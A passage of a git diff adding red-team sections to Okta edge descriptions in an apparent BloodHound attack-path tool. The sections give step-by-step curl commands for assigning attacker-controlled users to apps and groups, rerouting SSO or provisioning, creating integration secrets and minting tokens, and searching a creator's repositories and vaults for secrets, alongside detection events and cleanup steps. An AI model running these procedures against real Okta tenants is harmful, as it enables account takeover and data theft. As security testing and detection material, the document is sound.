"$OKTA_ORG/api/v1/users/$ATTACKER_USER_ID/sessions?oauthTokens=true" + ``` + +6. Verify the exposed token no longer authenticates. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $COMPROMISED_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/me" + ``` + + A revoked token should fail with an authorization error. + +7. Verify the token metadata is gone or inaccessible. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $CLEANUP_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/api-tokens/$EXPOSED_API_TOKEN_ID" + ``` + + A successfully revoked token should return `404 Not Found` or no longer appear in the active token list. + +## Opsec Considerations + +SSWS API token use is noisy when it comes from new infrastructure, violates an API token network condition, or performs actions that do not match the token's historical client name. Relevant System Log event types include `system.api_token.create`, `system.api_token.revoke`, `system.api_token.update`, and `system.api_token.request_outside_allowed_range`. The privileged API calls made with the token also generate their own object-specific events, such as group membership, user lifecycle, app assignment, app credential, role assignment, and policy events. + +Defenders can correlate the token ID, destination user, client name, source IP, user agent, and request URI across System Log entries. Long-dormant tokens that suddenly call management endpoints, tokens used outside their expected network zones, and tokens whose owner recently gained an admin role are high-signal investigation points. + +## References + +- [Okta API Tokens API](https://developer.okta.com/docs/reference/api/api-tokens/) +- [Okta Management API authentication](https://developer.okta.com/docs/api/openapi/okta-management/guides/overview/) +- [Okta Users API: Retrieve the current user](https://developer.okta.com/docs/api/resources/users/#retrieve-a-user) +- [Okta Group API: Assign a user to a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/assignUserToGroup) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Okta manage API tokens](https://help.okta.com/oie/en-us/content/topics/security/api.htm) +- [Okta Post-Exploitation Toolkit](https://github.com/xpn/OktaPostExToolkit) diff --git a/descriptions/edges/Okta_AppAdmin.md b/descriptions/edges/Okta_AppAdmin.md index a175958..a03d4ac 100644 --- a/descriptions/edges/Okta_AppAdmin.md +++ b/descriptions/edges/Okta_AppAdmin.md @@ -15,3 +15,124 @@ graph LR g1 -- Okta_AppAdmin --> app2 u1 -- Okta_AppAdmin --> is1 ``` + +## Abuse Info + +An attacker who controls the source principal can administer the destination application. Application Administrator access commonly allows assignment changes, application configuration changes, provisioning changes, and client credential changes for the scoped app. If the source is a group, compromise any member of that group first. If the source is an application, authenticate with that application's client credentials or private key and request a management API access token with the scopes granted to the admin role assignment. + +Using the Admin Console: + +1. Authenticate to Okta as the source user, as a member of the source group, or as the source service application. +2. Open **Applications** > **Applications** in the Admin Console and select the destination application. +3. On the application's assignments view, assign an attacker-controlled Okta user or group to the destination application. For SAML and OIDC apps, this usually grants the added user the ability to launch the downstream application through Okta. +4. If the app has app-specific profile fields, set the assignment values needed to receive the desired downstream role or entitlement. +5. Review sign-on and provisioning settings. If the role and app type permit it, change redirect URIs, SAML ACS URLs, SAML attribute statements, provisioning credentials, group assignments, or profile mappings to route access or data to attacker-controlled infrastructure. +6. Sign in as the attacker-controlled assigned user and launch the application from the Okta dashboard. For provisioning abuse, trigger an import, push, or profile update so the modified configuration is applied downstream. + +When the destination is an API service integration or another service application, use the App Admin privilege to rotate or add credentials where permitted, then authenticate as that application and continue along any `Okta_SecretOf`, `Okta_KeyOf`, `Okta_ReadClientSecret`, or admin-role edges from that application. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, the destination app ID, and the controlled user or group ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_APP_ID="0oa..." + export CONTROLLED_USER_ID="00u..." + export CONTROLLED_GROUP_ID="00g..." + ``` + +2. Assign a controlled user directly to the destination app. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users" \ + -d "{\"id\":\"$CONTROLLED_USER_ID\",\"scope\":\"USER\"}" + ``` + +3. Or assign a controlled group to the app so every member receives app access. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/groups/$CONTROLLED_GROUP_ID" \ + -d '{}' + ``` + +4. Verify the assignment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .scope, .status] | @tsv' + ``` + +5. If abusing configuration instead of assignment, retrieve the app with `GET /api/v1/apps/{appId}`, modify only the required sign-on, credential, mapping, or provisioning setting, then update the app with the Apps API. Preserve the original response so cleanup can restore the exact previous values. + +## Cleanup after Abuse + +Cleanup removes temporary access to the destination application, restores modified sign-on and provisioning settings, and rotates credentials added or exposed while abusing application administration. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the destination application. +2. Remove attacker-controlled users or groups from the **Assignments** tab. +3. Restore sign-on settings, redirect URIs, SAML settings, provisioning settings, profile mappings, and credentials that were changed. +4. Deactivate or rotate temporary client secrets, private keys, and provisioning credentials. +5. Verify the temporary principal can no longer launch or authenticate to the downstream application. + +Cleanup using API: + +1. Remove the temporary user assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Remove the temporary group assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/groups/$CONTROLLED_GROUP_ID" + ``` + +3. Restore the saved app configuration with the Apps API and verify the settings match the pre-abuse copy. +4. Rotate or deactivate temporary app credentials with the appropriate app credential endpoint. +5. Confirm the controlled user or group no longer appears in application assignments. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +## Opsec Considerations + +Application assignment changes, group-to-app assignment changes, app configuration updates, credential rotations, and provisioning changes are recorded in the Okta System Log. Relevant event types include `application.user_membership.add`, `application.user_membership.remove`, `application.user_membership.update`, `group.application_assignment.add`, `group.application_assignment.remove`, `group.application_assignment.update`, `application.lifecycle.update`, `app.oauth2.credentials.lifecycle.create`, `app.oauth2.credentials.lifecycle.activate`, `app.oauth2.credentials.lifecycle.deactivate`, and `app.oauth2.credentials.lifecycle.delete`. + +Changes to SAML/OIDC settings, redirect URIs, provisioning credentials, profile mappings, or assignments for privileged applications are high-signal defender events. The API path leaves the caller, client, source IP, request URI, destination app, and assigned user or group in Okta audit data. + +## References + +- [Okta Application administrators](https://help.okta.com/en-us/content/topics/security/administrators-app-admin.htm) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) +- [Eli Guy: Attack Techniques in Okta - Part 2 - Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_AppAssignment.md b/descriptions/edges/Okta_AppAssignment.md index 45d520f..cf8258f 100644 --- a/descriptions/edges/Okta_AppAssignment.md +++ b/descriptions/edges/Okta_AppAssignment.md @@ -27,3 +27,167 @@ graph LR u4 -. Okta_AppAssignment .-> a3 u5 -. Okta_AppAssignment .-> a3 ``` + +## Abuse Info + +This edge describes assignment to an application. An attacker who controls the source user can usually access the destination application through Okta. An attacker who controls the source group can add an attacker-controlled user to that group, then inherit the application assignment through the `Okta_MemberOf` relationship. The edge is non-traversable because assignment alone is not proof of downstream privilege, but it is often the bridge that turns user or group control into SaaS access. + +For a user source, authenticate as the source user. For a group source, first become a member of the source group through an adjacent edge such as `Okta_AddMember`, `Okta_GroupMembershipAdmin`, `Okta_GroupAdmin`, or `Okta_OrgAdmin`. After the assignment is active, refresh Okta sessions or request new tokens so group and app claims are evaluated. + +Using the Admin Console and Okta dashboard: + +1. Identify whether the source of the edge is an `Okta_User` or an `Okta_Group`. +2. If the source is a group, sign in to the Admin Console with a principal that can manage that group and add the attacker-controlled Okta user to it. +3. Sign in as the assigned user or attacker-controlled group member. +4. Open the Okta end-user dashboard and launch the destination application, or start SP-initiated SSO from the downstream application. +5. Complete any sign-on policy, MFA, device, or network requirements. +6. Use the resulting downstream session. If the application maps Okta groups to app roles, combine this edge with the relevant group membership path before launching the app. + +Using the Okta API: + +1. Set the Okta org URL, API credential, destination application ID, and source user or group ID. If the source is a group, set the attacker-controlled user ID that will be added to that group. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_APP_ID="0oa..." + export SOURCE_USER_ID="00u..." + export SOURCE_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + export CONTROLLED_USER_LOGIN="alice@contoso.com" + ``` + +2. If the source is a user assignment, verify that the user is assigned to the destination application. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, scope, syncState, credentials, profile}' + ``` + + A successful response returns the application user object. A `404 Not Found` response means the user is not directly assigned to that application. + +3. If the source is a group assignment, verify that the group is assigned to the destination application. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/groups/$SOURCE_GROUP_ID" \ + | jq '{id, priority, profile}' + ``` + +4. Add the attacker-controlled user to the assigned source group when the abuse path depends on group assignment. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful request returns `204 No Content`. + +5. Confirm that Okta now resolves the controlled user as an application user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +6. Start a fresh browser session as the controlled user and launch the destination app. The Management API can confirm assignment, but the downstream SSO session is created through the interactive OIDC, SAML, or app-specific sign-on flow. + +If the attacker also has application administration privileges, they can assign a controlled user directly to the app instead of relying on a group: + +```bash +curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"id\":\"$CONTROLLED_USER_ID\",\"scope\":\"USER\",\"credentials\":{\"userName\":\"$CONTROLLED_USER_LOGIN\"}}" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users" \ + | jq '{id, status, scope, syncState, profile}' +``` + +## Cleanup after Abuse + +Cleanup for `Okta_AppAssignment` means removing the temporary app-access path, clearing sessions or tokens that contain the assignment, and deleting any downstream account or role created only because the app was launched. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the destination application. +2. Remove the temporary direct user assignment if one was created. +3. Remove the temporary group assignment only if the whole app-to-group assignment was created for the operation. +4. If access was inherited through an existing group assignment, open **Directory** > **Groups** and remove the attacker-controlled user from the source group instead. +5. Revoke the user's Okta sessions from the user's profile if group or app claims should be invalidated immediately. +6. Sign out of the downstream application and revoke downstream sessions, API tokens, refresh tokens, or JIT-provisioned accounts where the application supports it. + +Cleanup using API: + +1. Remove a temporary direct app assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful removal returns `204 No Content`. + +2. Remove a temporary app-to-group assignment if the group should no longer be assigned to the application. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/groups/$SOURCE_GROUP_ID" + ``` + +3. If the group assignment should remain, remove only the temporary group member. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Revoke Okta sessions and OAuth tokens for the controlled user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the assignment path is gone. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + + The expected result is `404 Not Found` when no direct or inherited app assignment remains. + +## Opsec Considerations + +Adding or removing app assignments creates application membership activity such as `application.user_membership.add`, `application.user_membership.remove`, and `application.user_membership.update`. Adding a user to a source group creates `group.user_membership.add`; removing that user creates `group.user_membership.remove`. + +The quietest path is often using an existing assignment and an already-compromised assigned user, but first-time SSO to a sensitive application, unusual source IPs, new devices, and newly minted group or app claims can still be detected by Okta and the downstream app. Direct app assignment immediately before access is a high-signal sequence for defenders. + +## References + +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta Group API: Assign and unassign users](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_Contains.md b/descriptions/edges/Okta_Contains.md index 4d940de..e0f678e 100644 --- a/descriptions/edges/Okta_Contains.md +++ b/descriptions/edges/Okta_Contains.md @@ -1,6 +1,6 @@ ## General Information -The traversable Okta_Contains edges represent the containment relationships between the organization and other entities in Okta. The organization node will have Okta_Contains edges to all other nodes in the graph, with some exceptions. +The traversable Okta_Contains edges represent containment relationships between the Okta organization and objects collected from that organization. The organization node has Okta_Contains edges to most Okta objects in the graph. ```mermaid graph LR @@ -32,3 +32,181 @@ graph LR org -- Okta_Contains --> is1 org -- Okta_Contains --> p1 ``` + +## Abuse Info + +This edge is an inventory relationship, not a standalone exploit. An attacker who controls the source organization at an administrative level can usually affect the destination object by using the object-specific Okta API or Admin Console workflow for that object type. In BloodHound terms, `Okta_Contains` helps identify what is inside a compromised org; the concrete abuse is represented by more specific edges such as `Okta_SuperAdmin`, `Okta_OrgAdmin`, `Okta_ResetPassword`, `Okta_AddMember`, `Okta_ManageApp`, `Okta_ReadClientSecret`, `Okta_IdentityProviderFor`, or `Okta_ResourceSetContains`. + +To abuse this edge from organization-level control: + +1. Obtain Super Administrator, Organization Administrator, or an OAuth service client/API token with sufficient Okta Management scopes in the source organization. +2. Identify the destination object type and choose the object-specific action. +3. For an `Okta_User`, reset credentials, reset authenticators, unlock or activate the account, or change profile attributes that drive group rules and policies. +4. For an `Okta_Group`, add an attacker-controlled user to inherit app assignments, group-push mappings, or admin role assignments. +5. For an `Okta_Application` or `Okta_ApiServiceIntegration`, assign a controlled user, modify sign-on or provisioning settings, rotate credentials, or create a new credential. +6. For an `Okta_IdentityProvider`, modify account linking, signing material, group assignments, or routing rules so controlled external identities become Okta users. +7. For an `Okta_ResourceSet`, add a sensitive object so existing custom-role bindings gain authority over it. +8. For an `Okta_Device`, suspend, deactivate, or delete the device, or use mobile/admin device edges to influence device-based access. + +Using the Admin Console: + +1. Sign in to the Admin Console as a principal with organization-level authority. +2. Navigate to the destination object area, such as **Directory** > **People**, **Directory** > **Groups**, **Applications** > **Applications**, **Security** > **Identity Providers**, **Security** > **Administrators**, or **Directory** > **Devices**. +3. Perform the smallest object-specific action needed for the path, such as adding a group member, assigning an application, changing an IdP, or adding a resource to a resource set. +4. Verify the derived edge or access path appears. For example, verify a new `Okta_MemberOf`, `Okta_AppAssignment`, `Okta_ManageApp`, or `Okta_ReadClientSecret` path. +5. Use the newly granted access, session, credential, or downstream app entitlement. + +Using the Okta API: + +1. Set variables for the org and common destination object types. Use only the variables that apply to the object you are abusing. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_USER_ID="00u..." + export TARGET_GROUP_ID="00g..." + export TARGET_APP_ID="0oa..." + export TARGET_IDP_ID="0oa..." + export TARGET_RESOURCE_SET_ID="iamo..." + export TARGET_API_SERVICE_ID="0oa..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. Confirm source organization context. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/org" \ + | jq '{id, companyName, website, status}' + ``` + +3. Inspect the destination object before changing it. + + ```bash + curl -sS -H "Authorization: SSWS $OKTA_API_TOKEN" -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email}' + + curl -sS -H "Authorization: SSWS $OKTA_API_TOKEN" -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID" \ + | jq '{id, type, name: .profile.name}' + + curl -sS -H "Authorization: SSWS $OKTA_API_TOKEN" -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID" \ + | jq '{id, label, name, status, signOnMode}' + ``` + +4. Abuse the destination object through the concrete action needed for the path. These examples add controlled access through a group and through an application assignment. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"id\":\"$CONTROLLED_USER_ID\"}" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users" \ + | jq '{id, status, scope, profile}' + ``` + + Adding the group member returns `204 No Content`; assigning the app returns an application user object. + +5. Verify the new path. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" \ + | jq '{id, status, scope, profile}' + ``` + +6. Continue with the destination object's specific edge documentation for the next action. + +## Cleanup after Abuse + +Cleanup for `Okta_Contains` means reversing the exact object-specific change made under organization-level control and revoking any sessions, tokens, credentials, or downstream access that change created. + +Cleanup using Admin Console: + +1. Identify the destination object and the concrete change made to it. +2. Remove temporary users, group memberships, app assignments, role assignments, credentials, IdP changes, policy changes, device changes, or resource-set entries. +3. Restore the destination object's original configuration. +4. Rotate credentials if secrets, keys, API tokens, or app passwords were exposed. +5. Revoke Okta sessions and downstream sessions for principals that received temporary access. +6. Verify the destination object matches its pre-abuse state and the derived attack path no longer resolves. + +Cleanup using API: + +1. Remove temporary group membership. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Remove temporary application assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +3. Revoke Okta sessions and OAuth tokens for the controlled user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +4. Verify the temporary paths are gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + + The app-user verification should return `404 Not Found` when no direct or inherited assignment remains. + +5. Use the destination object's API family for any other cleanup, such as deactivating/deleting a temporary API service secret, removing a resource set resource, deleting a role binding member, restoring an IdP, or reactivating a device. + +## Opsec Considerations + +`Okta_Contains` itself is not an Okta System Log event. The audit trail comes from the object-specific action performed after using organization control. Common follow-on events include `group.user_membership.add`, `group.user_membership.remove`, `application.user_membership.add`, `application.user_membership.remove`, `user.account.update_profile`, `iam.resourceset.resources.add`, `iam.resourceset.bindings.add`, and app, IdP, device, policy, or credential lifecycle events. + +Because organization-level authority can touch many object types, defenders should correlate the administrator or API client session with the exact object-change events and any immediate sign-on, provisioning, token, or downstream app activity. + +## References + +- [Okta API reference overview](https://developer.okta.com/docs/api/) +- [Okta Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/User/) +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta API Service Integrations API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApiServiceIntegrations/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_CreatorOf.md b/descriptions/edges/Okta_CreatorOf.md index ad8fd45..839db5c 100644 --- a/descriptions/edges/Okta_CreatorOf.md +++ b/descriptions/edges/Okta_CreatorOf.md @@ -11,3 +11,202 @@ graph LR u1 -. Okta_CreatorOf .-> is1 u2 -. Okta_CreatorOf .-> is2 ``` + +## Abuse Info + +`Okta_CreatorOf` is creator metadata for an API service integration. It does not mean the source user can automatically authenticate as the destination integration. It is useful because the creator is often the person who configured the integration, stored its client secret, placed the client ID in deployment code, or retained admin access to rotate the integration secret. + +An attacker who controls the source user can use this relationship to hunt for the destination integration's credential material and operational footprint: + +1. Compromise the source user's Okta account, workstation, password manager, source repositories, CI/CD system, cloud secret manager, and deployment tooling. +2. Search for the destination API service integration ID, client ID, integration name, `configGuideUrl`, secret hash, tenant URL, or deployment variables. +3. If a raw client secret is recovered from the creator's systems, authenticate as the destination integration with the OAuth 2.0 client credentials flow. +4. If the source user still has authority to manage the destination integration, create a new API service integration secret. Okta displays the new raw secret once at creation time; existing API service integration secrets are listed as masked values. +5. Request a token from the org authorization server using the recovered or newly created secret and the destination integration's granted scopes. +6. Use the token against Okta Management APIs allowed by those scopes, then follow adjacent credential and role edges such as `Okta_SecretOf`, `Okta_ApiTokenFor`, `Okta_SuperAdmin`, `Okta_OrgAdmin`, or scoped API permissions. + +Using the Admin Console: + +1. Sign in as the source user or as an administrator who can manage API service integrations. +2. Open **Applications** > **API Service Integrations** and select the destination integration. +3. Record the integration ID, client ID, granted scopes, creator, and client secret hashes. +4. Generate a new client secret if you have authority to rotate the integration secret. +5. Copy the new secret from the one-time display and use it immediately to request an access token. +6. Use the token only for the scoped Okta Management API calls needed for the path. +7. If no new secret can be created, search the source user's repositories, deployment variables, CI/CD secret stores, and password vaults for the existing secret. + +Using the Okta API: + +1. Set variables for the destination API service integration and requested Okta scope. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export API_SERVICE_ID="0oa..." + export TOKEN_SCOPE="okta.users.read" + ``` + +2. Retrieve the destination integration and confirm creator, client link, and granted scopes. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/integrations/api/v1/api-services/$API_SERVICE_ID" \ + | tee /tmp/okta-creatorof-api-service.json + + jq '{id, name, type, createdAt, createdBy, grantedScopes, clientHref: ._links.client.href}' \ + /tmp/okta-creatorof-api-service.json + ``` + +3. List existing integration secrets and note secret IDs, status, and hashes. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/integrations/api/v1/api-services/$API_SERVICE_ID/credentials/secrets" \ + | jq -r '.[] | [.id, .status, .secret_hash, .created, .lastUpdated] | @tsv' + ``` + +4. Create a new API service integration secret if the source access can manage the destination integration. Save the raw secret immediately; Okta returns it only at creation time. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/integrations/api/v1/api-services/$API_SERVICE_ID/credentials/secrets" \ + | tee /tmp/okta-creatorof-new-secret.json + + export TEMP_SECRET_ID="$(jq -r '.id' /tmp/okta-creatorof-new-secret.json)" + export API_SERVICE_CLIENT_SECRET="$(jq -r '.client_secret' /tmp/okta-creatorof-new-secret.json)" + jq '{id, status, secret_hash, created}' /tmp/okta-creatorof-new-secret.json + ``` + + A successful request returns `201 Created` and includes `client_secret`. + +5. Mint an OAuth access token as the destination integration. + + ```bash + curl -sS -X POST \ + -u "$API_SERVICE_ID:$API_SERVICE_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + "$OKTA_ORG/oauth2/v1/token" \ + | tee /tmp/okta-creatorof-token.json + + export OKTA_ACCESS_TOKEN="$(jq -r '.access_token' /tmp/okta-creatorof-token.json)" + jq '{token_type, expires_in, scope}' /tmp/okta-creatorof-token.json + ``` + +6. Verify the token against an endpoint allowed by the integration's granted scopes. + + ```bash + curl -sS \ + -H "Authorization: Bearer $OKTA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users?limit=1" \ + | jq -r '.[] | [.id, .profile.login, .status] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_CreatorOf` removes any temporary API service integration secret created through the creator relationship, rotates secrets found in the creator's systems, revokes tokens minted as the destination integration where possible, and removes downstream changes made with those tokens. + +Cleanup using Admin Console: + +1. Open **Applications** > **API Service Integrations** and select the destination integration. +2. In **Client Secrets**, deactivate the temporary or exposed secret. +3. Delete the inactive secret if it is no longer needed. +4. Rotate any recovered client secrets stored in the creator's password manager, repositories, CI/CD variables, Terraform state, or cloud secret manager. +5. Remove downstream changes made with tokens minted as the integration. +6. Revoke or expire tokens in downstream services where supported and verify the old secret can no longer mint Okta tokens. + +Cleanup using API: + +1. Deactivate the temporary or exposed API service integration secret. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/integrations/api/v1/api-services/$API_SERVICE_ID/credentials/secrets/$TEMP_SECRET_ID/lifecycle/deactivate" + ``` + + A successful request returns `200 OK` with the secret status set to `INACTIVE`. + +2. Delete the inactive secret. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/integrations/api/v1/api-services/$API_SERVICE_ID/credentials/secrets/$TEMP_SECRET_ID" + ``` + + A successful deletion returns `204 No Content`. + +3. Revoke a known token minted with the temporary secret. Token revocation returns `200 OK` even if the token is already invalid. + + ```bash + export MINTED_ACCESS_TOKEN="$(jq -r '.access_token' /tmp/okta-creatorof-token.json)" + + curl -i -sS -X POST \ + -u "$API_SERVICE_ID:$API_SERVICE_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "token=$MINTED_ACCESS_TOKEN" \ + --data-urlencode "token_type_hint=access_token" \ + "$OKTA_ORG/oauth2/v1/revoke" + ``` + +4. Verify the temporary secret is gone and cannot mint a token. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/integrations/api/v1/api-services/$API_SERVICE_ID/credentials/secrets" \ + | jq -r '.[] | select(.id == 